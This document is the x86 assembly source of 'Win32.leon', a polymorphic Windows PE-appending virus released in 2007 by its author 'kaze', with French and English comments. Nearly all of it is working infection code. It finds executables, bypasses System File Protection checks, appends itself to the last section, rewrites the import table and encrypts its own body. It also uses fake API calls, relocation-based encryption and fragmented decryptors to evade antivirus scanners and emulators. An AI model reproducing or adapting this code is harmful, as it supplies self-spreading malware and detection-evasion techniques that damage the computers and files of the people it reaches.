Win32.Leon
kaze / FAT
;FICHIER : main.asm
;NOM : Win32.leon
;DATE : 14/01/2007
;VERSION : 1.0
;AUTEUR : kaze
;SITE : http://fat.next-touch.com
; I'm happy to introduce to you win32.leon, a nearly original poly virus. This virus is
; mainly focused on AV-detection evading, so don't expect ultral33t spreading. The main
; technique of this is virus is "decryption via APIS", i.e the decryptor is (with a
; probability of 4/5) 100% api based. Some random fake api calls are also used in the
; decryptor: those apis are called with random arguments, but won't disturb the virus's
; excecution: they just return an error code (except when being debugged where they
; sometimes throw exceptions). Random api calls are also used in the virus body in order
; to avoid dynamic detection.
; A lot of little tricks are also used to fool emulators and scanners (like encryption
; through relocations, or decryptor fragementation) and are explained in the article
; stored at http://fat.next-touch.com/data/win32.leon.pdf (french only for now).
;===== WIN32.LEON =========================================================================
; OS: Win2000 and WinXP. Successfully tested on both. Won't work on vista because
; of the fake apis thingie.
; TYPE: PE Appender.
; TARGETS: Kaze*.exe PE files, with .code > ~10k and
; vsize(lastsection) PE mappé en memoire
; out : none
infecte_pe proc near
pusha
mov edx,[eax+3Ch]
add edx,eax ;edx-->PE Header
mov ebx,eax ;ebx=file mapping offset
;reinit quelques trucs
xor eax,eax
mov edi,[ebp+adresses_interdites]
stosd
mov [ebp+offset locations],dword ptr eax
;cherche la dernière section
mov [edx+0B0h],eax ;marque d'infection
lea esi,[edx+18h]
movzx ecx, word ptr [edx+14h] ;SizeOfOptionalHeader
add esi,ecx ;esi-->sections
movzx ecx,word ptr [edx+06h]
cherche_derniere_sec:
cmp [esi+12],eax
jb ch2
mov eax,[esi+12]
mov edi,esi
ch2: add esi,28h
loop cherche_derniere_sec
mov ecx,[edi+8] ;ecx=VSize
cmp ecx,[edi+16]
ja infecte_pe_fin ;si vsize>rawsize infecte pas
call encryption_relocs_init
;les modifs d'usage
mov ecx,[edx+28h] ;entry point (rva)
add ecx,[ebp+imagebase] ;entry point(va)
mov [ebp+ancien_ep],ecx
;edi-->header derniere section (en ram)
add eax,[edi+8] ;ajoute VSize (eax etait = a RVA section)
mov [ebp+infection_rva],eax
add eax,[ebp+imagebase]
mov [ebp+virus_start_va],eax
mov esi,[edi+20] ;RawAddress
add esi,[edi+8] ;VirtualSize
add esi,ebx ;adresse du filemapping
mov [ebp+infection_raw],esi
mov eax,[ebp+taille_virus_alignee]
add [edi+8],dword ptr VIRTUAL_SIZE_VIRUS
add [edi+16],eax ;RawSize
or [edi+36],SECTION_MASK
;remplit la table des adresse interdites
call evite_adresses
;choisit un décrypteur parmis les deux dispos
call poly_choisit_decrypteur
xor eax,eax
cmp [ebp+poly_name_dll],eax
jz detourne_pas_iat
;modifie l'iat pour importer les apis du decrypteur + les fake apis
mov eax,[edx+80h] ;RVA de l'IAT
call rva2raw
mov esi,eax
add esi,ebx ;esi=raw imports
mov ecx,[edx+84h] ;ecx=size imports
mov edi,[ebp+infection_raw] ;edi=raw addresse du virus (pas encore le code à ce niveau là, mais l'iat)
call imports_init ;détourne l'iat
mov eax,[ebp+poly_name_dll]
call add_iid_decrypteur ;ajoute le iid
lea esi,[ebp+iat_crypto_decrypteur]
call deal_imports ;importe les apis + les fake apis du dll
detourne_pas_iat:
;cherche les fake apis (des autres dll) importées par l'hote
lea esi,[ebp+liste_fake_apis]
lea edi,[ebp+fake_apis]
call find_fake_apis
mov [ebp+nb_fake_apis],eax
;pseudo-poly le decrypteur (ajoute des fake apis calls)
movzx eax,byte ptr [ebp+poly_nb_parties_decrypteur]
mov edi,[ebp+mutated_pseudo_decrypteur]
mov esi,[ebp+poly_decrypteur]
call poly_pseudo_polymorphize
;poly_nb_parties_decrypteur modifié
;trouve X plages d'adresse de MAX_PARTIE_SIZE octets que l'on peut overwriter
push ebx
mov ebx,PARTIE_MAX_SIZE
movzx ecx,byte ptr [ebp+poly_nb_parties_decrypteur]
call trouve_adresses ;trouve poly_nb_parties_decrypteur endroits de PARTIE_MAX_SIZE octets chacuns
pop ebx
test eax,eax
jz infecte_pas
call sauvegarde_hote
;assemble et ecrit le decrypteur aux endroit maintenant sauvegardes
mov esi,[ebp+mutated_pseudo_decrypteur]
call poly_polymorphise
;encryption via les relocs
call encryption_relocs
;ecrit le code du virus
mov edi,[ebp+infection_raw]
add edi,TAILLE_IMPORTS + DECRYPTOR_SIZE ; edi = raw adresse du code du virus
push edi
lea esi,[ebp+debut_virus]
mov ecx,virus_len
rep movsb
pop edi
;encrypte le code du virus
call [ebp+fonction_encryption]
infecte_pas:
add [edx+50h],dword ptr VIRTUAL_SIZE_VIRUS
mov ecx,[ebp+calc_chksum]
jecxz infecte_pe_fin ;si CheckSumpMappedFile non present ...
lea esi,[ebp+checksum]
push esi
lea eax,[esi+4]
push eax
push dword ptr [ebp+WFD_nFileSizeLow]
push ebx
call ecx
;eax--> PE_Header mappé en RAM
mov ecx,[esi]
mov [eax+58h],ecx ;enregistre la nouvelle checksum
infecte_pe_fin:
popa
ret
infecte_pe endp
;RVA2RAW : in : eax=rva ,edx-->pe_header
; out : eax=raw adress
rva2raw proc near
push esi
push ebx
push ecx
lea esi,[edx+18h]
movzx ecx,word ptr [edx+14h] ;SizeOfOptionalHeader
add esi,ecx ;esi-->sections
movzx ecx,word ptr [edx+06h]
cherche_sec2:
mov ebx,[esi+12]
cmp ebx,eax
ja ch4
add ebx,[esi+8]
cmp [esi+8],dword ptr 0
jnz vsize_ok
add ebx,[esi+16] ;raw size
vsize_ok:
cmp ebx,eax
ja found2
ch4: add esi,28h
loop cherche_sec2
found2: mov ebx,[esi+12]
sub eax,ebx
add eax,[esi+20]
pop ecx
pop ebx
pop esi
ret
rva2raw endp
;SECTION_INFO : in : eax=rva ,edx-->pe_header
; out : eax--> section header
section_info proc near
push esi
push ecx
push ebx
lea esi,[edx+18h]
movzx ecx, word ptr [edx+14h] ;SizeOfOptionalHeader
add esi,ecx ;esi-->sections
movzx ecx,word ptr [edx+06h]
cherche_sec:
or [esi+36],SECTION_MASK
mov ebx,[esi+12]
cmp ebx,eax
ja ch3
add ebx,[esi+8]
cmp [esi+8],dword ptr 0
jnz vsize_ok2
add ebx,[esi+16] ; raw size
vsize_ok2:
cmp ebx,eax
ja found
ch3: add esi,28h
loop cherche_sec
found:
mov eax,esi
pop ebx
pop ecx
pop esi
ret
section_info endp
;CHECK_INFECTION : check si l'hote a déjà été visité
; in : edx--> PE header
; out : ecx!=0 si deja infecté
check_and_set_infection proc near
mov ecx,[edx+8] ;timestamp
cmp ch,SIGNATURE_VIRUS
jz deja_infecte
mov ch,SIGNATURE_VIRUS
mov [edx+8],ecx
xor ecx,ecx
deja_infecte:
ret
check_and_set_infection endp
;IS_SFC : check si sfc protected
;in : ebx->filename
;out: ecx!= si sfc protected
is_sfc proc near
push eax edx esi edi
xor ecx,ecx
push ecx
lea eax,[ebp+Buffer]
push eax
push dword ptr 260
push ebx
call_ GetFullPathName
push dword ptr 260*2
lea eax,[ebp+Buffer2]
push eax
xor eax,eax
dec eax
push eax
lea eax,[ebp+Buffer]
push eax
xor eax,eax
push eax
push eax
call_ MultiByteToWideChar
lea eax,[ebp+Buffer2]
push eax
xor eax,eax
push eax
call [ebp+sfc_protected]
mov ecx,eax
pop edi esi edx eax
ret
is_sfc endp
;INFECTION : in : ebx--> Filename, WFD rempli avec un .exe
; out : none
infection proc near
pusha
push 80h ;ATTRIB_NORMAL
push ebx
call_ SetFileAttributes
;teste si SFC
cmp [ebp+sfc_protected],dword ptr 0
jz pas_sfc_api
call is_sfc
test ecx,ecx
jnz pasbon
pas_sfc_api:
xor eax,eax
push eax
push eax
push 3
push eax
inc eax
push eax
push 0C0000000h
push ebx
call_ CreateFile
inc eax
jz peuxpas
dec eax
mov [ebp+Fhandle],eax
mov edi,[ebp+WFD_nFileSizeLow]
call create_mapped_file
test eax,eax
jz mappas
mov [ebp+Mhandle],eax
call map_file ; eax=map_offset
test eax,eax
jz veuxpas
mov esi,[eax+3Ch]
cmp esi,edi
jae pasbon ;si pas PE, evite les violation de pages
add esi,eax
cmp dword ptr [esi],'EP'
jnz pasbon
cmp dword ptr [esi+84h],TAILLE_IMPORTS/2+NB_DLLS_IMPORTEES*14h
jae pasbon
mov edx,esi
call check_and_set_infection
test ecx,ecx
jnz pasbon
mov ecx,[esi+34h]
mov [ebp+imagebase],ecx
mov esi,[esi+3Ch] ;File Alignement
push eax
call_ UMVOFile
push [ebp+Mhandle]
call_ CloseHandle
xor edx,edx
mov eax,virus_len+TAILLE_IMPORTS+DECRYPTOR_SIZE ;edi=fichier+virus
div esi
inc eax
mul esi
mov [ebp+taille_virus_alignee],eax
add edi,eax
call create_mapped_file
mov [ebp+Mhandle],eax
call map_file ; eax=map_offset
call infecte_pe
pasbon: push eax
call_ UMVOFile
veuxpas:push [ebp+Mhandle]
call_ CloseHandle
mappas: push [ebp+Fhandle]
call_ CloseHandle
peuxpas:push dword ptr [ebp+WFD_dwFileAttributes]
push ebx
call_ SetFileAttributes
popa
ret
infection endp
;FIND_APIS: in: esi--> ckecksums(terminé par -1) edi--> apis[] edx=HMODULE*
; out: edi[] rempli
find_apis proc near
mov ebx,[edx+3ch]
add ebx,edx ; ebx--> PE Header
mov ecx,[ebx+78h]
add ecx,edx ; ecx--> export table
mov eax,[ecx+01ch] ; sauve les adresses des tables
add eax,edx
lea ebx,[ebp+lst_fnc] ; liste des adresses de fonctions
mov [ebx],eax
add ebx,4
mov eax,[ecx+24h] ; liste des ordinals
add eax,edx
mov [ebx],eax
mov ebx,[ecx+20h] ; ebx-->liste des noms
xor ecx,ecx
add ebx,edx
fa1: mov eax,[ebx+ecx*4]
add eax,edx
call calc_crc
cmp eax,[esi] ; est-ce la fonction recherchée ?
jz fa2
inc ecx
jmp fa1
fa2: push esi
mov esi,[ebp+lst_ord] ; choppe l'ordinal (marche en //)
movzx eax,word ptr [esi+ecx*2]
mov esi,[ebp+lst_fnc] ; et on s'en sert pour chopper l'adresse de l'api
mov eax,[esi+eax*4]
add eax,edx ; (RVA)
stosd ; on la stock
pop esi
inc ecx
add esi,4 ; api suivante
inc dword ptr [esi] ; esi==0xFFFFFFF ?
jz fa3
dec dword ptr[esi]
jmp fa1
fa3: dec dword ptr[esi]
ret
find_apis endp
;CALC_CRC: in: eax--> apiname
; out: eax=crc
calc_crc proc near
push ecx
push esi
mov esi,eax
xor eax,eax
sub ecx,ecx
cc1: lodsb
test al,al
jz cc2
add cl,al
rol eax,cl
add ecx,eax
jmp cc1
cc2: mov eax,ecx
pop esi
pop ecx
ret
calc_crc endp
;INFECT_REP in : none
; out : none
infect_rep proc near
pusha
lea esi,[ebp+WFD]
lea eax,[ebp+mask] ;.exe
test ebp,ebp
jnz pas_premiere_gen
lea eax,[ebp+mask_pg] ;kaze*.exe
pas_premiere_gen:
push esi
push eax
call_ FindFirstFile
inc eax
jz badrep
dec eax
mov [ebp+Shandle],eax
unautreverre?:
lea ebx,[ebp+WFD_szFileName]
mov ecx,[ebp+sfc_protected]
jecxz bypass_sfc
; TODO : sfc check
bypass_sfc:
call infection
pas_touche:
lea eax,[ebp+WFD]
push eax
push [ebp+Shandle]
call_ FindNextFile
test eax,eax ;dernier fichier ?
jnz unautreverre?
push [ebp+Shandle]
call_ FindClose
badrep:
popa
ret
infect_rep endp
;MAP_FILE : in: edi=taille
; out: none
map_file proc near
xor eax,eax
push edi
push eax
push eax
push 00000002h
push [ebp+Mhandle]
call_ MVOFile
ret
map_file endp
;CREATE_MAPPED_FILE : in : edi=taille
; out : none
create_mapped_file proc near
xor eax,eax
push eax
push edi
push eax
push 00000004h
push eax
push [ebp+Fhandle]
call_ CreateFileMapping
ret
create_mapped_file endp
make_thread proc near ;esi--> debut de la thread
pusha
xor edx,edx
lea eax,[ebp+vtmp1]
push eax
push edx
lea eax,[ebp+vtmp2]
push eax
push esi
push edx
push edx
call [ebp+CreateThread]
popa
ret
make_thread endp
fin_dyn_fake_apis:
;======================================= DATA =================================
a_allouer:
dd DECRYPTOR_SIZE
dd MUTATED_DECRYPTOR_SIZE
dd MAX_ENDROITS_INTERDIT*2*4
dd XOR_LOOP_SIZE
nb_a_allouer equ ($-offset a_allouer)/4
a_sauvegarder:
ancien_ep dd offset first_gen
imagebase dd FIRST_GEN_IMAGE_BASE
a32_oft dd 0
a32_ft dd 0
locations dd MAX_NB_PARTIES*2+1 dup (0)
infection_rva dd 0
poly_nb_parties_decrypteur db 0
fake_apis dd 2*NB_FAKE_APIS dup (?)
nb_fake_apis dd ?
taille_sauvegarde equ $ - a_sauvegarder
RAND_SEED dd 45980131
signature db "win32.leon by kaze",0
disque db "B:\",0
dmask db "*",0
dotdot db "..",0
mask db "kaze*.exe",0
mask_pg db "kaze*.exe",0
name_user32 db 'user32.dll',0
name_imagehlp db 'imagehlp.dll',0
imagehlp_api db 'CheckSumMappedFile',0
name_sfc db 'sfc.dll',0
sfc_api db 'SfcIsFileProtected',0
name_a32 db 'ADVAPI32.DLL',0
msg db 'Infecté',0
nb_fake_pushs dd 0 ; pour reequilibrer la pile
cle_anti_call db 35h
liste_apis_k32:
dd 0FDBE9DDFh ; CloseHandle
dd 04B00FBA1h ; CreateFileA
dd 00D6EA22Eh ; CreateFileMappingA
dd 0BE307C51h ; CreateThread
dd 04E5DE044h ; ExitThread
dd 0BE7B8631h ; FindClose
dd 0C915738Fh ; FindFirstFileA
dd 08851F43Dh ; FindNextFileA
dd 028F8C6FBh ; GetCurrentDirectoryA
dd 09C3A5210h ; GetDriveTypeA
dd 06B1C08DAh ; GetFullPathNameA
dd 040BF2F84h ; GetProcAddress
dd 08FAF830Bh ; GetTickCount
dd 05D0915E3h ; GetWindowsDirectoryA
dd 095765835h ; LoadLibraryA
dd 01064BF83h ; LocalAlloc
dd 032BEDDC3h ; MapViewOfFile
dd 09588EE13h ; MultiByteToWideChar
dd 08E0E5487h ; SetCurrentDirectoryA
dd 050665047h ; SetFileAttributesA
dd 03A00E23Bh ; Sleep
dd 0FAE00D65h ; UnmapViewOfFile
dd 0065F101Ah ; VirtualProtect
dd 0FFFFFFFFh
liste_apis_u32:
dd 0C0059B5Fh ; MessageBoxA
dd 0FFFFFFFFh
liste_apis_a32:
dd 0B4060931h ; CryptAcquireContextA
dd 08320BDFEh ; CryptCreateHash
dd 01437CBF2h ; CryptDecrypt
dd 09BB3B145h ; CryptDeriveKey
dd 0A6889767h ; CryptEncrypt
dd 0C66A7A58h ; CryptHashData
dd 0FFFFFFFFh
code_to_crypt_len equ ($ - debut_virus)
memoire:
dd NB_CASES_MEMOIRE dup (0)
virus_len equ ($ - debut_virus)
;======================================= BSS ==================================
align dword
; KERNEL32.DLL
apis_k32:
CloseHandle dd ?
CreateFile dd ?
CreateFileMapping dd ?
CreateThread dd ?
ExitThread dd ?
FindClose dd ?
FindFirstFile dd ?
FindNextFile dd ?
GetCurrentDirectory dd ?
GetDriveType dd ?
GetFullPathName dd ?
GetProcAddress dd ?
GetTickCount dd ?
GetWindowsDirectory dd ?
LoadLibrary dd ?
LocalAlloc dd ?
MVOFile dd ?
MultiByteToWideChar dd ?
SetCurrentDirectory dd ?
SetFileAttributes dd ?
Sleep dd ?
UMVOFile dd ?
VProtect dd ?
; USER32.DLL
apis_u32:
MessageBox dd ?
; ADVAPI32.DLL
apis_a32:
CAcquireContextA dd ?
CCreateHash dd ?
CDecrypt dd ?
CDeriveKey dd ?
CEncrypt dd ?
CHashData dd ?
;DIVERS
lst_fnc dd ?
lst_ord dd ?
lst_noms dd ?
Fhandle dd ?
Mhandle dd ?
Shandle dd ?
WFD label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime dd ?
dd ?
WFD_ftLastAccessTime dd ?
dd ?
WFD_ftLastWriteTime dd ?
dd ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db 260 dup (?)
WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)
SavedDirectory db 260 dup (?)
Buffer db 260 dup (?)
Buffer2 db 260*2 dup (?)
infection_raw dd ?
virus_start_va dd ?
iat_noms_apis_rva dd ?
iat_noms_apis_raw dd ?
taille_virus_alignee dd ?
sfc_protected dd ?
calc_chksum dd ?
checksum dd ?
old_checksum dd ?
fonction_encryption dd ?
poly_decrypteur dd ?
poly_name_dll dd ?
poly_liste_apis_compat dd ?
poly_nb_apis_compat dd ?
poly_buffer db 256 dup (?)
simple_cle dd ?
vtmp1 dd ?
vtmp2 dd ?
vtmp3 dd ?
vtmp4 dd ?
index_iat dd MAX_APIS_IMPORTEES dup (?)
relocated_imagebase dd ?
is_relocated db 0
;=================== VARIABLES SAUVEGARDEES =================
sauvegarde:
sauve_ancien_ep dd ?
sauve_imagebase dd ?
s_a32_oft dd ?
s_a32_ft dd ?
sauve_locations dd MAX_NB_PARTIES*2+1 dup (?)
sauve_infection_rva dd ?
sauve_nb_parties db ?
; FAKE APIS
sauve_fake_apis dd 2*NB_FAKE_APIS dup (?)
sauve_nb_fake_apis dd ?
; FUSION IMORTS
;=================== VARIABLES ALLOUEES =================
variables_allouees:
decrypteur dd ?
mutated_pseudo_decrypteur dd ?
adresses_interdites dd ?
xor_loop_location dd ?
heap_len equ ($ - debut_virus) - virus_len
;================= PREMIERE GENERATION ==================
first_gen:
mov eax,virus_len
call printdec
call ExitProcess,0
printdec proc near ;c vite-fait ...
pusha
cld
lea edi,buf
mov ebx,10
xor ecx,ecx
GUI_printdec_1:
xor edx,edx
div ebx
push edx
inc ecx
test eax,eax
jnz GUI_printdec_1
GUI_prindec_2:
pop eax
add eax,48
stosb
loop GUI_prindec_2
xor eax,eax
stosb
push eax
push offset Signature
push offset buf
push eax
call MessageBoxA
popa
ret
printdec endp
buf db 20 dup (?)
end start